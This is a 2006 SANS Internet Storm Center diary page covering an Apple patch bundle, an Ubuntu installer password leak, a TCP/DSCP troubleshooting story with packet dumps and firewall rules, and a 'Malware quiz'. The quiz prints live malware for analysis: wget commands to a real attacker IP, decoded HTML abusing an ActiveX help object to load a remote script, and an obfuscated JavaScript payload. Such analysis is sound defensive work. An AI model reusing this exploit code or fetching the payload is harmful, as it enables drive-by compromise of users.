Threat Level: green Handler on Duty: Didier Stevens

SANS ISC: InfoSec Handlers Diary Blog - Internet Storm Center Diary 2006-03-13 InfoSec Handlers Diary Blog


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

Apple Mac OS X security patch bundle 2006-002

Published: 2006-03-13
Last Updated: 2006-03-14 17:17:02 UTC
by Swa Frantzen (Version: 1)
0 comment(s)
Apple released some more security patches today for Mac OS X in a bundle called 2006-002.
Fix for an XSS scripting vulnerability in archives by flagging the documents as unsafe.
Fix for a vulnerability allowing arbitrary code execution by clicking on crafted email messages
Additional checks on top of those in the previous update.
  • Various non security rated regression fixes in a.o.  apache_mod_php (still based on PHP 4.4.1, not on the latest 4.4.2) and rsync.
It's interesting to note that rsync reports it's version after patching as:
$ rsync --version
rsync  version 2.5.5  protocol version 26
Copyright (C) 1996-2002 by Andrew Tridgell and others
«http://rsync.samba.org/»
Capabilities: 64-bit files, socketpairs, hard links, symlinks, batchfiles,
no IPv6, 32-bit system inums, 64-bit internal inums

rsync comes with ABSOLUTELY NO WARRANTY. This is free software, and you
are welcome to redistribute it under certain conditions. See the GNU
General Public Licence for details.
While a quick visit to http://rsync.samba.org/ shows there have been quite a few versions and fixed vulnerabilities in the mean time.

--
Swa Frantzen - Section 66
Keywords:
0 comment(s)

Ubuntu install passwd in log

Published: 2006-03-13
Last Updated: 2006-03-14 14:21:42 UTC
by Adrien de Beaupre (Version: 2)
0 comment(s)

Update: the official ubuntu security advisory is here:
http://www.ubuntu.com/usn/usn-262-1
and secunia has a writeup here:
http://secunia.com/advisories/19200/

Thanks Juha-Matti!

----------------

https://launchpad.net/distros/ubuntu/+bug/34606

  * Tidy up after Malone bug #34606, which left passwords exposed in
    /var/log/installer/cdebconf/questions.dat, by removing those passwords;
    for good measure, make /var/log/installer/cdebconf/* world-unreadable if
    this bug is detected.

Cheers,

Adrien 



Keywords:
0 comment(s)

A TCP/IP mystery (solved)

Published: 2006-03-13
Last Updated: 2006-03-14 04:03:30 UTC
by Jim Clausing (Version: 1)
0 comment(s)
For a little bit of background, the problem described below actually began for a previous client about a year ago, but it wasn't until Friday that I was actually able to get enough data to figure out what the problem really was, so bear with me as I walk you through the tale.

In the beginning

The client I was working for is a multinational Fortune 500 company headquartered in the US.  About a year ago, we started getting complaints that some individuals in one of the lines of business was no longer able to exchange e-mail with a supplier.  We got the parties involved and a conference call to troubleshoot, but the supplier's networking folks weren't all that knowledgeable.  Our conclusion was that their responses (the SYN/ACK packets) to the SYN packets from our external mail relays were not reaching our firewall.  After some fingerpointing back and forth, the supplier finally mentioned that they had recently "upgraded their firewall."  They decided to rollback to the previous version and suddenly e-mail was flowing again.  We tried to find out what had changed between versions, but were never able to find out.  Not an entirely satisfactory resolution from my point of view, but the client and their supplier were happy, so we chalked that one up to experience and moved on.  As you might expect, a few months later, they had the same problem with another business partner.  Again, rolling back to the previous version solved the problem, and again no one was able to show us what had changed so that we could try to figure out where the real problem existed.  Out of this second situation, we did learn a little bit more, namely that the firewall was actually Linux/iptables-based.  That should have made it easier, I have been using Linux and iptables for my home firewall for several years, but we still weren't able to hook up with anyone who understood the Linux well enough on the partner side to get a dump of the rules or anything.

Fast forward to last month.  The problem rears its ugly head again.  This time, the third-party is able to get us packet captures of the traffic (both working and failing) and a dump of the rules for the failure case.  Finally, we might have enough data to solve the mystery.  I should probably mention that while I've moved on to a different position in the company, I'm still in contact with my former team that is still working with this client.  After looking things over for a while they were still confused, so they gave me a call on Friday.

Now maybe we're getting somewhere

I decided to sit down and see if I could tell what was different between the capture when the traffic succeeded (all the firewall rules were turned off, the firewall was essentially acting as a router) and the case where the traffic was failing.  So I sat down and looked at the 2 captures.  Now, I'd like to say that I was 'man enough' to figure it out just by looking at it with tcpdump -x, but I didn't even try, I went to ethereal almost immediately because I didn't have Stevens handy at the time (I was working from home and the book was on my shelf at the office).

First, the traffic when the communication succeeded.

jac@leibnitz[513]$ tcpdump -r nofw.pcap -c4
reading from file nofw.pcap, link-type EN10MB (Ethernet)
19:15:24.492173 IP client.com.28680 > partner.com.smtp: S 604326096:604326096(0) win 65535 <mss 1460,nop,nop,sackOK>
19:15:24.492242 IP partner.com.smtp > client.com.28680: S 150399351:150399351(0) ack 604326097 win 5840 <mss 1460>
19:15:24.541465 IP client.com.28680 > partner.com.smtp: . ack 1 win 65535
19:15:24.550951 IP partner.com.smtp > client.com.28680: P 1:95(94) ack 1 win 5840

And when it failed

jac@leibnitz[514]$ tcpdump -r failed.pcap -c4
reading from file failed.pcap, link-type EN10MB (Ethernet)
19:08:51.231906 IP client.com.21644 > partner.com.smtp: S 2389181400:2389181400(0) win 65535 <mss 1460,nop,nop,sackOK>
19:08:51.231978 IP partner.com.smtp > client.com.21644: S 4040255024:4040255024(0) ack 2389181401 win 5840 <mss 1460>
19:08:54.391432 IP client.com.21644 > partner.com.smtp: S 2389181400:2389181400(0) win 65535 <mss 1460,nop,nop,sackOK>
19:08:54.391638 IP partner.com.smtp > client.com.21644: S 4040255024:4040255024(0) ack 2389181401 win 5840 <mss 1460>


Okay, so the partner server is sending the SYN/ACK back, but by sniffing on the firewall at the client end, it wasn't making it all the way back, so it was getting dropped somewhere upstream of the firewall.  So I decided to look at the SYN/ACK packets from the 2 captures a little more closely with ethereal (or actually tethereal) and since I'm suspecting a router is dropping this someplace upstream of my firewall, I'm going to concentrate on layer 3 (the IP header).  Why?  Because that should be all the further into the packet that a router should be looking.  So, first the one that works

Frame 2 (58 bytes on wire, 58 bytes captured)
    Arrival Time: Mar  8, 2006 19:15:24.492242000
    Time delta from previous packet: 0.000069000 seconds
    Time since reference or first frame: 0.000069000 seconds
    Frame Number: 2
    Packet Length: 58 bytes
    Capture Length: 58 bytes
    Protocols in frame: eth:ip:tcp
Ethernet II, Src: Intel_f3:78:c3 (00:0c:f1:f3:78:c3), Dst: Intel_a8:7d:0a (00:d0:b7:a8:7d:0a)
    Destination: Intel_a8:7d:0a (00:d0:b7:a8:7d:0a)
    Source: Intel_f3:78:c3 (00:0c:f1:f3:78:c3)
    Type: IP (0x0800)
Internet Protocol, Src: aa.bb.cc.dd (aa.bb.cc.dd), Dst: ee.ff.gg.hh (ee.ff.gg.hh)
    Version: 4
    Header length: 20 bytes
    Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
        0000 00.. = Differentiated Services Codepoint: Default (0x00)
        .... ..0. = ECN-Capable Transport (ECT): 0
        .... ...0 = ECN-CE: 0
    Total Length: 44
    Identification: 0x0000 (0)
    Flags: 0x04 (Don't Fragment)
        0... = Reserved bit: Not set
        .1.. = Don't fragment: Set
        ..0. = More fragments: Not set
    Fragment offset: 0
    Time to live: 64
    Protocol: TCP (0x06)
    Header checksum: 0x0a19 [correct]
        Good: True
        Bad : False
    Source: aa.bb.cc.dd (aa.bb.cc.dd)
    Destination: ee.ff.gg.hh (ee.ff.gg.hh)

And then the one that doesn't

Frame 2 (58 bytes on wire, 58 bytes captured)
    Arrival Time: Mar  8, 2006 19:08:51.231978000
    Time delta from previous packet: 0.000072000 seconds
    Time since reference or first frame: 0.000072000 seconds
    Frame Number: 2
    Packet Length: 58 bytes
    Capture Length: 58 bytes
    Protocols in frame: eth:ip:tcp
Ethernet II, Src: Intel_f3:78:c3 (00:0c:f1:f3:78:c3), Dst: Intel_a8:7d:0a (00:d0:b7:a8:7d:0a)
    Destination: Intel_a8:7d:0a (00:d0:b7:a8:7d:0a)
    Source: Intel_f3:78:c3 (00:0c:f1:f3:78:c3)
    Type: IP (0x0800)
Internet Protocol, Src: aa.bb.cc.dd (aa.bb.cc.dd), Dst: ee.ff.gg.hh (ee.ff.gg.hh)
    Version: 4
    Header length: 20 bytes
    Differentiated Services Field: 0x04 (DSCP 0x01: Unknown DSCP; ECN: 0x00)
        0000 01.. = Differentiated Services Codepoint: Unknown (0x01)
        .... ..0. = ECN-Capable Transport (ECT): 0
        .... ...0 = ECN-CE: 0
    Total Length: 44
    Identification: 0x0000 (0)
    Flags: 0x04 (Don't Fragment)
        0... = Reserved bit: Not set
        .1.. = Don't fragment: Set
        ..0. = More fragments: Not set
    Fragment offset: 0
    Time to live: 64
    Protocol: TCP (0x06)
    Header checksum: 0x0a15 [correct]
        Good: True
        Bad : False
    Source: aa.bb.cc.dd (aa.bb.cc.dd)
    Destination: ee.ff.gg.hh (ee.ff.gg.hh)


Aha!!  There is something different in the "Differentiated Services Field" (previously known as the TOS byte).  So, a quick search on Google and I found RFC 791, that defined the original use of this, but I also found RFCs 1812, 2474, 2780, 3154, and 3168 which supersede 791 with respect to the usage of that byte in the IP header.  Interesting.  This also pointed me at http://www.iana.org/assignments/dscp-registry which describes the valid DSCP codepoints.  As ethereal had already told me, 0x01 is unknown (i.e., not defined in the registry).  Okay, now a quick look at the rules from the firewall and I see the following:

# Completed on Tue Mar  7 15:58:27 2006
# Generated by iptables-save v1.2.9 on Tue Mar  7 15:58:27 2006
*mangle
:PREROUTING ACCEPT [64977797:109928599664]
:INPUT ACCEPT [64929633:109926287792]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [68495493:123011914416]
:POSTROUTING ACCEPT [68435927:123006680932]
-A PREROUTING -i eth0 -p tcp -m tcp --sport 110 -j TOS --set-tos 0x04
-A PREROUTING -i eth0 -p tcp -m tcp --sport 1110 -j TOS --set-tos 0x04
-A PREROUTING -i eth0 -p tcp -m tcp --sport 465 -j TOS --set-tos 0x04
-A PREROUTING -i eth0 -p tcp -m tcp --sport 993 -j TOS --set-tos 0x04
-A PREROUTING -i eth0 -p tcp -m tcp --sport 995 -j TOS --set-tos 0x04
-A PREROUTING -i eth0 -p tcp -m tcp --sport 20 -j TOS --set-tos 0x08
-A PREROUTING -i eth0 -p tcp -m tcp --sport 21 -j TOS --set-tos 0x08
-A PREROUTING -i eth0 -p tcp -m tcp --sport 22 -j TOS --set-tos 0x10
-A PREROUTING -i eth0 -p tcp -m tcp --sport 25 -j TOS --set-tos 0x10
-A PREROUTING -i eth0 -p tcp -m tcp --sport 53 -j TOS --set-tos 0x10
-A PREROUTING -i eth0 -p tcp -m tcp --sport 80 -j TOS --set-tos 0x10
-A PREROUTING -i eth0 -p tcp -m tcp --sport 443 -j TOS --set-tos 0x10
-A PREROUTING -i eth0 -p tcp -m tcp --sport 512:65535 -j TOS --set-tos 0x04
-A PREROUTING -p tcp -m tcp --sport 443 -j TOS --set-tos 0x08
-A POSTROUTING -o eth0 -p tcp -m tcp --dport 110 -j TOS --set-tos 0x04
-A POSTROUTING -o eth0 -p tcp -m tcp --dport 1110 -j TOS --set-tos 0x04
-A POSTROUTING -o eth0 -p tcp -m tcp --dport 465 -j TOS --set-tos 0x04
-A POSTROUTING -o eth0 -p tcp -m tcp --dport 993 -j TOS --set-tos 0x04
-A POSTROUTING -o eth0 -p tcp -m tcp --dport 995 -j TOS --set-tos 0x04
-A POSTROUTING -o eth0 -p tcp -m tcp --dport 20 -j TOS --set-tos 0x08
-A POSTROUTING -o eth0 -p tcp -m tcp --dport 21 -j TOS --set-tos 0x08
-A POSTROUTING -o eth0 -p tcp -m tcp --dport 22 -j TOS --set-tos 0x10
-A POSTROUTING -o eth0 -p tcp -m tcp --dport 25 -j TOS --set-tos 0x10
-A POSTROUTING -o eth0 -p tcp -m tcp --dport 53 -j TOS --set-tos 0x10
-A POSTROUTING -o eth0 -p tcp -m tcp --dport 80 -j TOS --set-tos 0x10
-A POSTROUTING -o eth0 -p tcp -m tcp --dport 443 -j TOS --set-tos 0x10
-A POSTROUTING -o eth0 -p tcp -m tcp --dport 512:65535 -j TOS --set-tos 0x04
COMMIT
# Completed on Tue Mar  7 15:58:27 2006


Aha, the new version of the firewall is setting the TOS byte, and since the client is initiating the connection the partners firewall is setting it to 0x04 by the following rule (if the partner initiates, it would be getting set to 0x10)

-A POSTROUTING -o eth0 -p tcp -m tcp --dport 512:65535 -j TOS --set-tos 0x04

Okay, now we're getting somewhere, but why would that one bit cause the packet to be dropped and where was it getting dropped?

So, can we look upstream?

At this point, I asked my old team if they could take a look at the configs of the border router just outside the client firewall and see if we could see anything there that might be causing problems.  They got me a copy of the configs and a couple of things jumped out at me right away.

 policy-map mark-inbound-http-hacks
   class http-hacks
    set ip dscp 1
 !


Hmm....  so the border router is setting the DSCP value to 1 for things that it believes are "http-hacks".  That looks pretty ominous.  And a little further down

route-map null_policy_route permit 10 
match ip address 106 
set interface Null0

access-list 106 permit ip any any dscp 1


And there we seem to have it, anything with a DSCP value of 0x01 is getting null-routed at our border router.  I talked to some of the network guys and they remembered putting this policy-map in.  In fact, this comes directly from Cisco (see http://www.cisco.com/warp/public/63/nbar_acl_codered.shtml).  So that has been in the border routers form a long time (if not actually from Code Red, then not too long after).  By the way, for those that don't remember, Code Red was in 2001.  So, what we seem to have is the 2 endpoints of the TCP conversation using different interpretations of that TOS/DSCP byte in the IP header.  Also, that Cisco doc contains the following sentence, "This document uses a DSCP value of 1 (in decimal) since it is unlikely that any other network traffic is carrying this value" which would probably be true if no one was still using the old TOS interpretation of that byte.

So how do we finally solve it

Well, my cursory reading of RFC 2474, suggests that we shouldn't be calling this the TOS byte anymore.  That usage has been superseded.  Further, it appears that the DSCP value shouldn't really be propagated beyond the bounds of a single organization's administrative control.  Cisco has a couple of documents for service providers that recommends that the DSCP values be re-marked (the term used in RFC 2474) at administrative boundaries (lest someone try to run their traffic through the service provider's network with an artificially high priority).  So, one conclusion is that we should be sure we are clearing these bits when they leave or enter our administrative control.  The client is waiting on change control approval and debating whether to remove the policy-map completely or change the DSCP value to 3 (which is also undefined in the IANA registry mentioned above and doesn't conflict with any old TOS uses of that byte).  I'm sure there are lots of other conclusions that could be drawn from this, but for the moment, I'm not going to draw anymore.  I'll leave that to you, our faithful readers.


----------------------------

Jim Clausing, jclausing --at-- isc.sans.org

Keywords:
0 comment(s)

Malware quiz

Published: 2006-03-13
Last Updated: 2006-03-13 18:26:32 UTC
by Adrien de Beaupre (Version: 1)
0 comment(s)

Some new malware sent in by a reader. Spaces and line breaks added
for readability and to prevent the accidental click.  The question is, what
is the malware, and what exploits were used?
Disclaimer, this is live malware, your anti-virus may trigger. I wouldn't recommend
running it anywhere except a vmware system that is isolated.

Download the first beastie:

wget http:// 85.255.117.34 / cnt9_dycht5g.htm

What is it?:

file cnt9_dycht5g.htm

cnt9_dycht5g.htm: news or mail text

Check out the contents:

head cnt9_dycht5g.htm

From: <x>
Subject: x
MIME-Version: 1.0
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: base64

Try to decode it:

base64 -d cnt9_dycht5g.htm > yada.out

Illegal character ':' in input file.

Strip the illegal characters and try again:

base64 -d cnt9_dycht5g.htm > yada.out

What's in there?:

file yada.out
yada.out: HTML document text

HTML, lets take a looksee:

cata yada.out

< !DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
< HTML>< BODY>
< OBJECT style="display:none" id="adswqe" classid="clsid:adb880a6-d8ff-
11cf-9377-00aa003b7a11">
< PARAM name="Command" value="Related Topics, MENU">
< PARAM name="Button" value="Text:_">
< PARAM name="Window" value="$global_blank">
< PARAM name="Item1" value="
command;ms-its:c:/windows/help/ ntshared.chm:
:/alt_url_enterprise_specific.htm">
< /OBJECT>
<OBJECT style="display:none" id="adswqer" classid="clsid:adb880a6-d
8ff-11cf-9377-00aa003b7a11">
< PARAM name="Command" value="Related Topics, MENU">
< PARAM name="Button" value="Text:_">
< PARAM name="Window" value="$global_blank">
< PARAM name="Item1" value='command; javascript:execScript("document.write(\"<
script src=http:// 85.255.117.34 / cnt9.jpg
\"+String.fromCharCode(62)+\"</scr
\"+\"ipt\"+String.fromCharCode(62))")'>
< /OBJECT>
< script>adswqe.HHClick(); var vv=''; setTimeout("adswqer.HH
Click()",101); setTimeout("document.write(vv)",202); </script>
< /BODY>< /HTML>

Download the next beastie:

wget http:// 85.255.117.34 / cnt9.jpg

and voila, malware:

AntiVir 6.34.0.53       03.13.2006      no virus found
Avast   4.6.695.0       03.10.2006      no virus found
AVG     718     03.10.2006      no virus found
Avira   6.34.0.53       03.13.2006      no virus found
BitDefender     7.2     03.13.2006      no virus found
CAT-QuickHeal   8.00    03.13.2006      no virus found
ClamAV  devel-20060126  03.11.2006      Trojan.Downloader.VBS.Phel.I
DrWeb   4.33    03.13.2006      VBS.Psyme.114
eTrust-InoculateIT      23.71.100       03.12.2006      no virus found
eTrust-Vet      12.4.2115       03.10.2006      no virus found
Ewido   3.5     03.13.2006      no virus found
Fortinet        2.71.0.0        03.12.2006      VBS/Phel.I-tr
F-Prot  3.16c   03.11.2006      no virus found
Ikarus  0.2.59.0        03.10.2006      no virus found
Kaspersky       4.0.2.24        03.13.2006      no virus found
McAfee  4716    03.11.2006      VBS/Psyme
NOD32v2 1.1440  03.12.2006      no virus found
Norman  5.70.10 03.10.2006      no virus found
Panda   9.0.0.4 03.12.2006      no virus found
Sophos  4.03.0  03.13.2006      no virus found
Symantec        8.0     03.13.2006      Download.Trojan
TheHacker       5.9.5.112       03.13.2006      no virus found
UNA     1.83    03.10.2006      no virus found
VBA32   3.10.5  03.13.2006      no virus found

So what are we?

file cnt9.jpg

cnt9.jpg: data

The strings in the file are:

strings cnt9.jpg

s="C
RFLHHROO
NNAruC
AruC
\r\r
\r_\r
_B_<\r
MQ']T]237]T]++/]V_E_
_]8]T]:+]S]
EPPGJQMJJQNNHQLKP
\r]T]
]V_E_
BN_E_
_]<E]T]#]T]
]SM_A_
]XAruCP
AruruC
WVruCP
A";for(i=0;i<555;i++)s=s.substr(1)+
String.fromCharCode(127-s.charCodeAt(0));docu
ment.write(s);

How about a hexdump?

hexdump -C cnt9.jpg

00000000  73 3d 22 43 10 1d 15 1a  1c 0b 5f 16 1b 42 1e 5f 
|s="C......_..B._|
00000010  1c 13 1e 0c 0c 16 1b 42  1c 13 0c 16 1b 45 1e 1b 
|.......B.....E..|
00000020  1d 47 47 4f 1e 49 52 1b  47 19 19 52 4e 4e 1c 19 
|.GGO.IR.G..RNN..|
00000030  52 46 4c 48 48 52 4f 4f  1e 1e 4f 4f 4c 1d 48 1e 
|RFLHHROO..OOL.H.|
00000040  4e 4e 41 72 75 43 0f 1e  5c 72 1e 12 5f 11 1e 12 
|NNAruC..\r.._...|
00000050  1a 42 1c 10 12 12 1e 11  1b 5f 09 1e 13 5c 6e 1a 
|.B......._...\n.|
00000060  42 0c 17 10 5c 72 0b 1c  5c 6e 0b 41 72 75 43 0f 
|B...\r..\n.AruC.|
00000070  1e 5c 72 1e 12 5f 11 1e  12 1a 42 16 0b 1a 12 4e 
|.\r.._....B....N|
00000080  5f 09 1e 13 5c 6e 1a 42  58 53 1c 12 1b 51 1a 07 
|_...\n.BXS...Q..|
00000090  1a 53 50 1c 5f 0c 0b 1e  5c 72 0b 5f 50 12 16 11 
|.SP._...\r._P...|
000000a0  5f 1c 12 1b 51 1a 07 1a  5f 50 1c 5f 5d 1a 1c 17 
|_...Q..._P._]...|
000000b0  10 5f 10 11 5f 1a 5c 72  5c 72 10 5c 72 5f 5c 72 
|._.._.\r\r.\r_\r|
000000c0  1a 0c 5c 6e 12 1a 5f 11  1a 07 0b 5f 45 5f 0c 1a 
|..\n.._...._E_..|
000000d0  0b 5f 10 5f 42 5f 3c 5c  72 1a 1e 0b 1a 30 1d 15 
|._._B_<\r....0..|
000000e0  1a 1c 0b 57 5d 12 0c 07  12 5d 54 5d 13 4d 51 27 
|...W]....]T].MQ'|
000000f0  5d 54 5d 32 33 37 5d 54  5d 2b 2b 2f 5d 56 5f 45 
|]T]237]T]++/]V_E|
00000100  5f 10 51 10 0f 1a 11 5f  5d 38 5d 54 5d 3a 2b 5d 
|_.Q...._]8]T]:+]|
00000110  53 5d 17 0b 0b 0f 45 50  50 47 4a 51 4d 4a 4a 51 
|S]....EPPGJQMJJQ|
00000120  4e 4e 48 51 4c 4b 50 1c  11 0b 46 51 18 16 19 5d 
|NNHQLKP...FQ...]|
00000130  53 39 1e 13 0c 1a 5f 45  5f 10 51 0c 1a 11 1b 5f 
|S9...._E_.Q...._|
00000140  45 5f 0c 1a 0b 5f 0c 5f  42 5f 1c 5c 72 1a 1e 0b 
|E_..._._B_.\r...|
00000150  1a 10 1d 15 1a 1c 0b 57  5d 1e 1b 10 1b 5d 54 5d 
|.......W]....]T]|
00000160  1d 51 0c 0b 5c 72 5d 54  5d 1a 1e 12 5d 56 5f 45 
|.Q..\r]T]...]V_E|
00000170  5f 0c 51 0b 06 0f 1a 42  4e 5f 45 5f 0c 51 10 0f 
|_.Q....BN_E_.Q..|
00000180  1a 11 5f 45 5f 0c 51 08  5c 72 16 0b 1a 5f 10 51 
|.._E_.Q.\r..._.Q|
00000190  5c 72 1a 0c 0f 10 11 0c  1a 3d 10 1b 06 5f 45 5f 
|\r.......=..._E_|
000001a0  0c 51 0c 1e 09 1a 0b 10  19 16 13 1a 5f 5d 3c 45 
|.Q.........._]<E|
000001b0  5d 54 5d 23 5d 54 5d 14  51 1a 5d 54 5d 07 1a 5d 
|]T]#]T].Q.]T]..]|
000001c0  53 4d 5f 41 5f 1c 45 23  1c 51 09 1d 0c 59 59 08 
|SM_A_.E#.Q...YY.|
000001d0  0c 1c 5c 72 16 0f 0b 5f  1c 45 23 1c 51 09 1d 0c 
|..\r..._.E#.Q...|
000001e0  59 59 1b 1a 13 5f 1c 45  23 1c 51 09 1d 0c 59 59 
|YY..._.E#.Q...YY|
000001f0  16 19 5f 1a 07 16 0c 0b  5f 1c 45 23 14 51 1a 07 
|.._....._.E#.Q..|
00000200  1a 5f 0c 0b 1e 5c 72 0b  5f 1c 45 23 14 51 1a 07 
|._...\r._.E#.Q..|
00000210  1a 5d 58 41 72 75 43 50  10 1d 15 1a 1c 0b 41 72 
|.]XAruCP......Ar|
00000220  75 72 75 43 0c 1c 5c 72  16 0f 0b 41 72 75 1e 51 
|uruC..\r...Aru.Q|
00000230  3c 13 16 1c 14 57 56 72  75 43 50 0c 1c 5c 72 16 
|<....WVruCP..\r.|
00000240  0f 0b 41 22 3b 66 6f 72  28 69 3d 30 3b 69 3c 35 
|..A";for(i=0;i<5|
00000250  35 35 3b 69 2b 2b 29 73  3d 73 2e 73 75 62 73 74 
|55;i++)s=s.subst|
00000260  72 28 31 29 2b 53 74 72  69 6e 67 2e 66 72 6f 6d 
|r(1)+String.from|
00000270  43 68 61 72 43 6f 64 65  28 31 32 37 2d 73 2e 63 
|CharCode(127-s.c|
00000280  68 61 72 43 6f 64 65 41  74 28 30 29 29 3b 64 6f 
|harCodeAt(0));do|
00000290  63 75 6d 65 6e 74 2e 77  72 69 74 65 28 73 29 3b 
|cument.write(s);|
000002a0



So, what did we end up with?
Thanks to Mark for writing in with the malware du jour.

Bonus points for figuring out anything I missed, or didn't include here!

Cheers,
Adrien

The fine print: no oompah loompahs were harmed in any way in the
creation of this diary entry.



Keywords:
0 comment(s)
Diary Archives